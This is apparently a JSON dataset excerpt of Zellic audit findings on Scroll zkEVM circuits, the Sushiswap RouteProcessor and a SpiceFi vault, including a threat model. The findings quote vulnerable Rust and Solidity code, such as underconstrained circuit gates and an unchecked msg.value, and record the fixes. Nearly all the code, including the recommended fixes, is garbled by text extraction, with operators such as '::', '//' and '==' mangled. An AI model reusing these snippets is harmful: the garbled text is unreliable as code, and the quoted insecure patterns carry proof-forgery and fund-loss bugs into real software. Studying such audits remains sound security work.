Rotation:)next()), meta.query_advice(tx_table.tx_id, Rotation:)cur()), ); cb.require_equal( \u201dtx_type does not change\u201d, meta.query_advice(tx_type, Rotation:)next()), Scroll meta.query_advice(tx_type, Rotation:)cur()), ); }, ); cb.gate(and:)expr([ meta.query_fixed(q_enable, Rotation:)cur()), not:)expr(meta.query_advice(is_calldata, Rotation:)next())), ])) }); The first tx_id value is not guaranteed to be 1, so tx_id can start with an arbitrary value. We recommend adding the check for the first tx_id. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.15 The CallDataRLC value in the fixed assignments is not vali- dated against the actual calldata in Tx Circuit", + "labels": [ + "Zellic" + ], + "body": "Target: Tx Circuit, tx_circuit.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Critical : Critical The fixed part of the Tx Circuit layout includes the row representing the CallDataRL C, which is the random linear combination of the calldata bytes. This value is also checked from the RLP circuit as well. The dynamic part of the Tx Circuit layout includes the raw calldata bytes for each transaction. The issue is that while there are checks for the CallDataGasCost and CallDataLength via lookups, there is no check the CallDataRLC value is actually equal to the RLC of the bytes in the calldata section. The actual calldata used can be different from the one in the RLP circuit or the fixed part of the Tx Circuit. We recommend adding the check of the consistency between the CallDataRLC and the calldata part of the Tx Circuit layout via a lookup argument. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.16 The OneHot encoding gadget has incorrect constraints", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit, gadgets/one_hot.rs Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The OneHot gadget has a previous helper function that returns the enum type repre- sented by the one-hot encoding at the previous row. impl OneHot { /) ...)) pub fn previous(&self) -> Query { T:)iter().enumerate().fold(Query:)zero(), |acc, (i, t)| { acc.clone() + Query:)from(u64:)try_from(i).unwrap()) * self .columns .get(&t) BinaryColumn:)current) .map_or_else(BinaryQuery:)zero, }) } /) ...)) } However, this implementation is incorrect as it queries the value of the binary columns representing the one-hot encoding at the current row. The OneHot gadget is used to maintain the validity of the transitions between various proof types in the MPT Circuit. For example, cb.condition(!is_start, |cb| { cb.assert_equal( \u201dproof type does not change\u201d, proof_type.current(), Scroll proof_type.previous(), ); this incorrect constraint can be used to generate invalid proofs in the MPT Circuit. We recommend fixing the incorrect constraint by using BinaryColumn:)previous to query the previous row. This issue has been acknowledged by Scroll, and a fix was implemented in commit 9bd18782. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.17 The BinaryColumn gadget is missing boolean constraint check", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit, constraint_builder/binary_column.rs Severity: High Category: Underconstrained Cir- : High cuits Likelihood: High The BinaryColumn gadget is used by the OneHot encoding gadget to store information about the ProofType and SegmentType of each row. This gadget also assumes that the binary column exposed by the gadget only contains boolean (0/1) values. However, no such constraint exists in the BinaryColumn gadget to check this assump- tion: impl BinaryColumn { /) ...)) pub fn configure( cs: &mut ConstraintSystem, _cb: &mut ConstraintBuilder, ) -> Self { let advice_column = cs.advice_column(); /) TODO: constrain to be binary here...)) /) cb.add_constraint() Self(advice_column) } } By assigning nonboolean values to the binary columns, one can generate inconsistent results returned by the queries to the OneHot gadget. This can lead to incorrect proof generation in the MPT Circuit, which makes use of these gadgets. We recommend adding a boolean constraint on the advice column in the BinaryColu mn gadget. Scroll This issue has been acknowledged by Scroll, and a fix was implemented in commit 34af759e. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.18 Missing range check for address values in MPT Circuit", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit, gadgets/mpt_update.rs Category: Underconstrained Cir- Severity: Critical : Critical cuits Likelihood: High Descripton In the MPT Circuit, the account address is used to calculate the MPT key where account data is stored in the state trie: impl MptUpdateConfig { pub fn configure(/)...))*)) { /) ...)) cb.condition(is_start.clone().and(cb.every_row_selector()), |cb| { let [address, address_high, .)] = intermediate_values; let [old_hash_rlc, new_hash_rlc, .)] = second_phase_intermediate_values; let address_low: Query = (address.current() - address_high.current() * (1 <) 32)) * (1 <) 32) * (1 <) 32) * (1 <) 32); cb.poseidon_lookup( \u201daccount mpt key = h(address_high, address_low)\u201d, [address_high.current(), address_low, key.current()], poseidon, ); /)...)) }) } } There need to be range checks on the various values of address: The address needs to be range checked to be within 20 bytes or 160 bits The address_high must be range checked to be within 16 bytes or 128 bits. The calculated value of address_low (before the multiplication by 2^96) must be range checked to be within 4 bytes or 32 bits. Scroll Without the necessary range checks, one can calculate multiple combinations of add ress_low and address_high for the same value of address. This results in multiple MPT keys for a single address, which leads to a invalid state trie. We recommend adding the appropriate range checks to the intermediate columns as mentioned above. This issue has been acknowledged by Scroll, and a fix was implemented in commit e4f5df31. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.19 Incorrect assertion for account hash traces in Proof:)check", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit, types.rs Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The Proof:)check function ensures that the account hash traces that are used as inter- mediate witnesses for the MPT circuit are generated correctly. One of the assertions in this function contains a typo: impl Proof { fn check(&self) { /) ...)) assert_eq!( hash( hash(Fr:)one(), self.leafs[0].unwrap().key), self.leafs[0].unwrap().value_hash ), self.old_account_hash_traces[5][2], ); assert_eq!( hash( hash(Fr:)one(), self.leafs[1].unwrap().key), self.leafs[1].unwrap().value_hash ), self.new_account_hash_traces[5][2], ); /) ...)) } } If we looked at account_hash_traces where these traces are generated, we see that the left-hand side of the assertion is actually equal to the entry account_hash_traces[ 6][2]: fn account_hash_traces(address: Address, account: AccountData, storage_root: Fr) -> [[Fr; 3]; 7] { let account_key = account_key(address); let h5 = hash(Fr:)one(), account_key); Scroll let poseidon_codehash = big_uint_to_fr(&account.poseidon_code_hash); let account_hash = hash(h4, poseidon_codehash); /) ...)) account_hash_traces[5] = [Fr:)one(), account_key, h5]; account_hash_traces[6] = [h5, account_hash, hash(h5, account_hash)]; } As this function is not used anywhere, there is no security impact. However, we rec- ommend fixing this for code maturity as it may be used in tests in the future. Change the right-hand side of the assertion to the correct index. This issue has been acknowledged by Scroll, and a fix was implemented in commit 753d2f91. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.20 Implementations of RlcLookup trait are not consistent", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit Category: Code Maturity Likelihood: Low Severity: Informational : Informational The MPT Circuit uses the RlcLookup trait to perform lookups about the RLC values of various witnesses. This trait is defined in byte_representation.rs: pub trait RlcLookup { fn lookup(&self) -> [Query; 3]; } This lookup trait is implemented by two gadgets: ByteRepresentation and CanonicalR epresentation: impl RlcLookup for ByteRepresentationConfig { fn lookup(&self) -> [Query; 3] { self.value.current(), self.index.current(), self.rlc.current(), [ ] } } impl RlcLookup for CanonicalRepresentationConfig { fn lookup(&self) -> [Query; 3] { self.value.current(), self.rlc.current(), self.index.current(), [ ] } } While both of these gadgets implement the same lookup trait, they have a different order of columns. Not only that, but the definition of value is different \u2014 while value in Scroll the ByteRepresentationConfig is the value of the accumulated bytes so far, the value in the CanonicalRepresentationConfig is the value of the entire field element. This lookup trait is used in word_rlc.rs with a implicit assumption that the RlcLookup is implemented by the ByteRepresentationConfig. While there are no wrong lookups performed currently, there is a chance that future changes to the code may introduce security issues due to incorrect assumptions on the structure of the RlcLookup. We recommend introducing distinct traits for these two different lookups to remove the ambiguity and improve code maturity. This issue has been acknowledged by Scroll, and a fix was implemented in commit b5ea508b. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.21 Missing constraints for new account in configure_balance", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit, gadgets/mpt_update.rs Category: Underconstrained Cir- Severity: High : High cuits Likelihood: Medium Descripton Within configure_balance in the MPT circuit, with segment type AccountLeaf3 and path type ExtensionNew, there should be a constraint that ensures that the sibling is equal to 0. This corresponds to the case when we are creating a new entry in the accounts trie and we are assigning the balance of the account as the first entry. Without this constraint, there may be soundness issues when updating the balance of a new address. We recommend adding a check to constraint the sibling (i.e., nonce/codesize) to be equal to 0. This issue has been acknowledged by Scroll, and a fix was implemented in commit ef64eb52. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.22 Missing constraints in configure_empty_storage", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit, gadgets/mpt_update.rs Category: Underconstrained Cir- Severity: Critical : Critical cuits Likelihood: Medium Descripton There should be a check to ensure that the old_hash and new_hash are the same for an empty storage entry. This is similar to the case in configure_empty_account where the same thing is in fact constrained: fn configure_empty_account(/) ...)) *)) { /) ...)) cb.assert_equal( \u201dhash doesn't change for empty account\u201d, config.old_hash.current(), config.new_hash.current(), ); /) ...)) } This may lead to soundness issues when proving that storage does not exist. We recommend adding a check to constrain the equality of the old and the new hash. This issue has been acknowledged by Scroll, and a fix was implemented in commit 3ab166a4. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.23 Enforcing padding rows in MPT circuit", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit, gadgets/mpt_update.rs Category: Underconstrained Cir- Severity: Medium : Medium cuits Likelihood: Low Descripton The configure_empty_storage and configure_empty_account use the following check to determine if the current row is the final segment. let is_final_segment = config.segment_type.next_matches(&[SegmentType:)Start]); In the case that the current proof is the last proof in the MPT table, this assumes that the rows after the last proof are populated with the appropriate padding rows. However, there are no constraints to ensure that these padding rows have been as- signed properly at the end of the MPT circuit. Without this constraint, there may be soundness issues for MPTProofType:)StorageDo esNotExist and MPTProofType:)AccountDoesNotExist. We recommend adding checks in the circuit to ensure that the padding rows have been assigned following the algorithm in assign_padding_row. This issue has been acknowledged by Scroll, and a fix was implemented in commit ac3f8d89. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.24 Incorrect constraints in configure_nonce", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit, gadgets/mpt_update.rs Category: Underconstrained Cir- Severity: High : High cuits Likelihood: Medium Descripton In configure_nonce, when the segment type is AccountLeaf3 and the path type is Comm on, there is a missed check on the size of the new nonce. This is because the old value of the nonce is mistakenly checked (see [1]). Additionally, there is another incorrect check when the path type is ExtensionNew where the old nonce is range checked instead of the new nonce (see [2]). fn configure_nonce(/) ...)) *)) { /) ...)) SegmentType:)AccountLeaf3 => { /) ...)) cb.condition( config.path_type.current_matches(&[PathType:)Common]), |cb| { cb.add_lookup( \u201dnew nonce is 8 bytes\u201d, [config.old_value.current(), Query:)from(7)], /) [1] Typo. bytes.lookup(), ); /) ...)) } ); cb.condition( config.path_type.current_matches(&[PathType:)ExtensionNew]), |cb| { cb.add_lookup( \u201dnew nonce is 8 bytes\u201d, [config.old_value.current(), Query:)from(7)], /) [2] Typo bytes.lookup(), ); Scroll /) ...)) }, ); } /) ...)) } As the nonce values are not range checked properly, proofs about accounts with in- valid nonces can be generated. This could potentially lead to denial-of-service attacks on addresses. Fix the typos to range check the correct nonce values. This issue has been acknowledged by Scroll, and a fix was implemented in commit 9aeff02e. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.25 Conflicting constraints in configure_code_size", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit, gadgets/mpt_update.rs Category: Coding Mistakes Likelihood: Low Severity: Low : Low Descripton In configure_code_size, the first line ensures that the only possible path types that can be proved are PathType:)Start and PathType:)Common. fn configure_code_size( cb: &mut ConstraintBuilder, config: &MptUpdateConfig, bytes: &impl BytesLookup, ) { cb.assert( \u201dnew accounts have balance or nonce set first\u201d, config .path_type .current_matches(&[PathType:)Start, PathType:)Common]), ); /) ...)) } However, later on in the function, there are constraints that are conditioned on the current path type being either PathType:)ExtensionOld or PathType:)ExtensionNew. These two above-mentioned constraints are contradictory, and the code later on will never be executed as these conditions cannot be true. A similar issue also exists in configure_poseidon_code_hash. If this is intended behavior, then the above-mentioned constraints are dead code and add to unnecessary code complexity. We recommend removing those constraints if they are not necessary. Scroll This issue has been acknowledged by Scroll, and a fix was implemented in commit 004fcddb. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.26 ByteRepresentation:)index is not properly constrained", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit, gadgets/byte_representation.rs Category: Underconstrained Cir- Severity: Medium : Medium cuits Likelihood: Low Descripton In the ByteRepresentation gadget, there is a constraint which ensures that the index always increases by 1 or is 0. The expected behavior is that it constrains the value of index to be 0 at the first row. impl ByteRepresentationConfig { pub fn configure(/) ...)) *)) -> Self { let [value, index, byte] = cb.advice_columns(cs); let [rlc] = cb.second_phase_advice_columns(cs); let index_is_zero = IsZeroGadget:)configure(cs, cb, index); cb.assert_zero( \u201dindex increases by 1 or resets to 0\u201d, index.current() * (index.current() - index.previous() - 1), ); At the first row, a rotation to the previous row will wrap around to the last row of the table, which includes the blinding factors in Halo2. This lets the value of the index be controlled by values in the last row of the table. Instead of the index being set to 0 in the first row, a prover can arbitrary non-zero value depending on the contents of the last row of the table. We recommend adding a selector which enables a constraint to constrain that index = 0 at the first row. This issue has been acknowledged by Scroll, and a fix was implemented in commit c8f9c7f3. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.27 Miscellaneous typos in comments and constraint descrip- tions", + "labels": [ + "Zellic" + ], + "body": "Target: MPT Circuit Category: Code Maturity Likelihood: N/A Descripton Severity: Informational : Informational In byte_representation.rs, the following constraints have incorrect comments. They should have (index !) 0). cb.assert_equal( \u201dcurrent value = previous value * 256 * (index =) 0) + byte\u201d, value.current(), value.previous() * 256 * !index_is_zero.current() + byte.current(), ); cb.assert_equal( \u201dcurrent rlc = previous rlc * randomness * (index =) 0) + byte\u201d, rlc.current(), rlc.previous() * randomness.query() * !index_is_zero.current() + byte.current(), ); In mpt_update.rs, the function configure_code_size has the following constraint. The description is incorrect, as it actually checks that the balance is 0. cb.assert_zero( \u201dnonce and code size are 0 for ExtensionNew balance update\u201d, config.sibling.current(), ); In mpt_update.rs, the following constraint has an incorrect description. The constraint checks new_value, but the comment mentions old_value. cb.condition(!is_start, |cb| { /) ...)) cb.assert_equal( /) typo \u201dold_value does not change\u201d, Scroll new_value.current(), new_value.previous(), ); }); In account.rs, the computation of old_root and new_root are incorrect. impl AccountProof { pub fn old_root(&self) -> Fr { self.trie_rows .old_root(|) self.old_leaf.hash(self.storage.new_root())) /) old_root, but uses new_root to hash } pub fn new_root(&self) -> Fr { self.trie_rows .new_root(|) self.new_leaf.hash(self.storage.old_root())) /) new_root, but uses old_root to hash } } There is also a typo in implementing From<&SMTTrace> for AccountProof. impl From<&SMTTrace> for AccountProof { fn from(trace: &SMTTrace) -> Self { let address = Address:)from(trace.address.0); let [old_path, new_path] = &trace.account_path; let old_leaf = old_path.leaf; let new_leaf = new_path.leaf; let trie_rows = TrieRows:)new( account_key(address), &new_path.path, /) here - might be old_path.path &new_path.path, old_path.leaf, new_path.leaf, ); /) ...)) } } Scroll We recommend fixing these mistakes for better code maturity. This issue has been acknowledged by Scroll, and fixes were implemented in the fol- lowing commits: f89e2d58 f9ff6bb5 Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.28 ChainId is not mapped to it\u2019s corresponding RLP Tag in Tx Circuit", + "labels": [ + "Zellic" + ], + "body": "Target: Tx Circuit, tx_circuit.rs Category: Underconstrained Cir- cuits Likelihood: Medium Severity: High : High Descripton In the Tx Circuit, the TxFieldTag values in the tag_bits column are mapped to their respective RLP Tag values using the following map: let rlp_tag_map: Vec<(Expression, RlpTag)> = vec![ (is_nonce(meta), Tag:)Nonce.into()), (is_gas_price(meta), Tag:)GasPrice.into()), /) ...)) (is_caller_addr(meta), Tag:)Sender.into()), (is_tx_gas_cost(meta), GasCost), /) tx tags which correspond to Null (is_null(meta), Null), (is_create(meta), Null), /) ...)) (is_block_num(meta), Null), (is_chain_id_expr(meta), Null), ]; In this map, the values which do not have a corresponding RLP Tag are set to Null. Here, chain_id is incorrectly set to Null even though it is part of the RLP encoded transaction (Tag:)ChainId). The rlp_tag values are used to lookup into the RLP table to ensure that the appropriate values are being hashed for verifying the transaction signature. meta.create_gate(\u201dsign tag lookup into RLP table condition\u201d, |meta| { let mut cb = BaseConstraintBuilder:)default(); let is_tag_in_tx_sign = sum:)expr([ is_nonce(meta), Scroll is_gas_price(meta), is_gas(meta), is_to(meta), is_value(meta), is_data_rlc(meta), is_sign_length(meta), is_sign_rlc(meta), ]); cb.require_equal( \u201dcondition\u201d, is_tag_in_tx_sign, meta.query_advice( lookup_conditions[&LookupCondition:)RlpSignTag], Rotation:)cur(), ), ); As the Chain ID is missing from these lookup checks, one can forge the Chain ID value for a given transaction with a existing signature. We recommend adding the mapping from TxFieldTag:)ChainID to the RLP Tag Tag:)C hainId. We also recommend ensuring that the Chain ID value in the Tx Table is looked up into the RLP Table using the above mapping. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.29 Highest tx_id must be equal to cum_num_txs in Tx Circuit", + "labels": [ + "Zellic" + ], + "body": "Target: Tx Circuit, tx_circuit.rs Category: Underconstrained Cir- cuits Likelihood: Medium Severity: High : High Descripton In the Tx Circuit, there is a check to ensure that tx_id is less than the cum_num_txs value which is looked up from the block table. meta.create_gate(\u201dtx_id <) cum_num_txs\u201d, |meta| { let mut cb = BaseConstraintBuilder:)default(); let (lt_expr, eq_expr) = tx_id_cmp_cum_num_txs.expr(meta, None); cb.condition(is_block_num(meta), |cb| { cb.require_equal(\u201dlt or eq\u201d, sum:)expr([lt_expr, eq_expr]), true.expr()); }); cb.gate(and:)expr([ meta.query_fixed(q_enable, Rotation:)cur()), not:)expr(meta.query_advice(is_padding_tx, Rotation:)cur())), ])) }); In a valid block, the largest value of tx_id also must be equal to the value of cum_num_ txs. Currently, there is no constraint which ensures this. The cum_num_txs value can be set to be much larger than the actual set of tx_ids. We recommend adding a constraint to check that the tx_id of the last non-padding transaction in the Tx Circuit is equal to the cum_num_txs. Scroll This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "3.1 The transferred amount may not reflect msg.value", + "labels": [ + "Zellic" + ], + "body": "Target: RouteProcessor Category: Business Logic Likelihood: Medium Severity: Medium : Medium The wrapAndDistributeERC20Amounts function wraps the native tokens that were sup- plied by the user and then forwards them to the pools that RouteProcessor interacts with. Here, the msg.value parameter is not checked against the amountTotal variable, leaving room for error. function wrapAndDistributeERC20Amounts(uint256 stream, address token) private returns (uint256 amountTotal) { wNATIVE.deposit{value: msg.value}(); uint8 num = stream.readUint8(); amountTotal = 0; for (uint256 i = 0; i < num; +)i) { address to = stream.readAddress(); uint256 amount = stream.readUint(); amountTotal += amount; IERC20(token).safeTransfer(to, amount); } } This could lead to loss of funds for the end user in the case that they transfer more than the required amount. Zellic Sushiswap We recommend adding a check to ensure that msg.value =) amountTotal at the end of the function, as shown below: function wrapAndDistributeERC20Amounts(uint256 stream, address token) private returns (uint256 amountTotal) { wNATIVE.deposit{value: msg.value}(); uint8 num = stream.readUint8(); amountTotal = 0; for (uint256 i = 0; i < num; +)i) { address to = stream.readAddress(); uint256 amount = stream.readUint(); amountTotal += amount; IERC20(token).safeTransfer(to, amount); } require(msg.value =) amountTotal, \u201cRouteProcessor: invalid amount\u201d); } This issue was fixed by Sushiswap in commit 4aa4bd3. Zellic Sushiswap", + "html_url": "https://github.com/Zellic/publications/blob/master/Sushiswap Route Processor - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Arbitrary token transfers in wrapAndDistributeERC20Amounts", + "labels": [ + "Zellic" + ], + "body": "Target: RouteProcessor Category: Coding Mistakes Likelihood: Low Severity: Low : Low The wrapAndDistributeERC20Amounts function wraps and then forwards the wrapped tokens from the RouteProcessor contract to the pools that it interacts with. function wrapAndDistributeERC20Amounts(uint256 stream, address token) private returns (uint256 amountTotal) { wNATIVE.deposit{value: msg.value}(); uint8 num = stream.readUint8(); amountTotal = 0; for (uint256 i = 0; i < num; +)i) { address to = stream.readAddress(); uint256 amount = stream.readUint(); amountTotal += amount; /) @audit arbitrary `token` is passed, instead of `wNATIVE` IERC20(token).safeTransfer(to, amount); } } Due to the way the token parameter is passed to the safeTransfer function, it is pos- sible to pass an arbitrary token address to the function. This allows for anyone to send tokens on behalf of the contract. This is not a highly critical issue, as the RouteProcessor contract should, in theory, be interacted with via the Sushiswap front end, which would generate a legitimate token address in its route generation process. Moreover, it is not expected of the contract to hold any tokens, as it is designed to be used as a one-time transaction. Zellic Sushiswap The transaction is reverted, and the tokens are not sent. In some cases, it could lead to tokens up for grabs in the MEV (e.g., via front-running), should any user unknowingly transfer tokens to the RouteProcessor contract. We recommend removing the token parameter altogether. function wrapAndDistributeERC20Amounts(uint256 stream) private returns (uint256 amountTotal) { wNATIVE.deposit{value: msg.value}(); uint8 num = stream.readUint8(); amountTotal = 0; for (uint256 i = 0; i < num; +)i) { address to = stream.readAddress(); uint256 amount = stream.readUint(); amountTotal += amount; IERC20(wNATIVE).safeTransfer(to, amount); } require(msg.value =) amountTotal, \u201cRouteProcessor: invalid amount\u201d); } This issue was fixed by Sushiswap in commit 4aa4bd3. Zellic Sushiswap", + "html_url": "https://github.com/Zellic/publications/blob/master/Sushiswap Route Processor - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Missing access control revocation", + "labels": [ + "Zellic" + ], + "body": "Target: SpiceFiNFT4626 Category: Coding Mistakes Likelihood: High Severity: Medium : Medium The initialize function assigns the DEFAULT_ADMIN_ROLE to the multisig_ account passed as a parameter to the function. The address is also stored in the aptly named multisig member variable. The setMultisig function can be used by authorized callers to update the multisi g variable; however, the function does not revoke the role assigned to the former multisig address, nor does it grant the role to the new address. Rotated multisig addresses might retain unintended roles, and new multisig addresses may not be assigned the correct role. Ensure the proper roles are assigned and revoked by setMultisig. The issue is fixed as of commit 51fdc6e1; the DEFAULT_ADMIN_ROLE is revoked from the previous multisig account. Zellic Spice Finance Inc. 4 Threat Model This provides a full threat model description for various functions. As time permitted, we analyzed each function in the smart contracts and created a written threat model for some critical functions. A threat model documents a given function\u2019s externally controllable inputs and how an attacker could leverage each input to cause harm. Not all functions in the audit scope may have been modeled. The absence of a threat model in this section does not necessarily suggest that a function is safe. 4.1 File: SpiceFiNFT4626 Function: previewDeposit (same as OZ ERC4626) Function: previewMint (same as OZ ERC4626) Function: previewWithdraw (same as OZ ERC4626) Function: previewRedeem (same as OZ ERC4626) Function: deposit (same as OZ ERC4626) Function: mint Intended behavior Accept the user asset and mint the shares to a tokenId of their choosing or mint a new NFT. Preconditions If the tokenId is an existing NFT, the caller has to be the owner of the NFT. Inputs tokenId \u2013 Control: Full control \u2013 Authorization: None \u2013 : The NFT token Id assets \u2013 Control: Full control Zellic Spice Finance Inc. \u2013 Authorization: None \u2013 : Amount of shares to receive Function call analysis previewMint \u2013 What is controllable?: Everything \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: The amount of asset to take weth.transferFrom \u2013 What is controllable?: Amount \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded _deposit \u2013 What is controllable?: tokenId, assets \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded Function: redeem Intended behavior Redeem shares from a given tokenId NFT. Preconditions Must not be a revealed NFT, must be withdrawable, and caller has to own the NFT. Inputs tokenId \u2013 Control: Full control Zellic Spice Finance Inc. \u2013 Authorization: None \u2013 : The NFT token Id shares \u2013 Control: Full Control \u2013 Authorization: None \u2013 : Amount of shares to redeem receiver \u2013 Control: Full Control \u2013 Authorization: None \u2013 : The person who receives the asset Function call analysis previewRedeem \u2013 What is controllable?: Everything \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: The amount of asset to take _convertToAssets \u2013 What is controllable?: Shares \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Calculate assets with fees _withdraw \u2013 What is controllable?: tokenId, shares, receiver \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded Function: withdraw Intended behavior Withdraw asset from a given tokenId NFT. Zellic Spice Finance Inc. Preconditions mMst not be a revealed NFT, must be withdrawable, and caller has to own the NFT. Inputs tokenId \u2013 Control: Full control \u2013 Authorization: None \u2013 : The NFT token Id asset \u2013 Control: Full Control \u2013 Authorization: None \u2013 : Amount of asset to withdraw receiver \u2013 Control: Full control \u2013 Authorization: None \u2013 : The person who receives the asset Function call analysis previewWithdraw \u2013 What is controllable?: Everything \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: The amount of asset to take _convertToAssets \u2013 What is controllable?: Shares \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Calculate assets with fees _convertToShares \u2013 What is controllable?: Assets \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Zellic Spice Finance Inc. Calculate assets with fees _withdraw \u2013 What is controllable?: tokenId, asset, receiver \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded Function: deposit Intended behavior Accept the user asset and mint the shares to a tokenId of their choosing or mint a new NFT. Preconditions If the tokenId is an existing NFT, the caller has to be the owner of the NFT. Inputs tokenId \u2013 Control: Full control \u2013 Authorization: None \u2013 : The NFT token Id assets \u2013 Control: Full control \u2013 Authorization: None \u2013 : Amount of asset to invest Function call analysis previewDeposit \u2013 What is controllable?: Everything \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: The amount of shares to mint Zellic Spice Finance Inc. weth.transferFrom \u2013 What is controllable?: amount \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded _deposit \u2013 What is controllable?: tokenId, assets \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded Function: deposit (strategist) Intended behavior Invest the assets of this vault into another vault. Preconditions msg.sender has to be a strategist. Inputs vault \u2013 Control: Full control \u2013 Authorization: Checks if the vault is approved, through VAULT_ROLE \u2013 : Vault to invest in assets \u2013 Control: Full control \u2013 Authorization: None \u2013 : Amount of asset to invest minShares \u2013 Control: Full control \u2013 Authorization: None \u2013 : Slippage check Zellic Spice Finance Inc. Function call analysis _checkRole \u2013 What is controllable?: Control the address, but nothing else \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Means that the address was not approved \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded asset.safeIncreaseAllowance \u2013 What is controllable?: vault, amount \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded vault.deposit \u2013 What is controllable?: assets and receiver \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Reverts if the vault doesn\u2019t have enough asset \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded Function: mint (strategist) Intended behavior invest the assets of this vault into another vault. Preconditions msg.sender has to be a strategist. Inputs vault \u2013 Control: Full control \u2013 Authorization: Checks if the vault is approved, through VAULT_ROLE \u2013 : Vault to invest in shares \u2013 Control: Full control Zellic Spice Finance Inc. \u2013 Authorization: None \u2013 : Amount of asset to invest maxAsset \u2013 Control: Full control \u2013 Authorization: None \u2013 : Slippage check Function call analysis _checkRole \u2013 What is controllable?: Control the address, but nothing else \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Means that the address was not approved \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded asset.safeIncreaseAllowance \u2013 What is controllable?: vault, amount \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Nothing \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded vault.mint \u2013 What is controllable?: shares and receiver \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Reverts if the vault doesn\u2019t have enough asset \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded Function: withdraw (strategist) Intended behavior Withdraw capital from invested vault. Preconditions msg.sender has to be a strategist. Zellic Spice Finance Inc. Inputs vault \u2013 Control: Full control \u2013 Authorization: Checks if the vault is approved, through VAULT_ROLE \u2013 : Vault to invest in assets \u2013 Control: Full 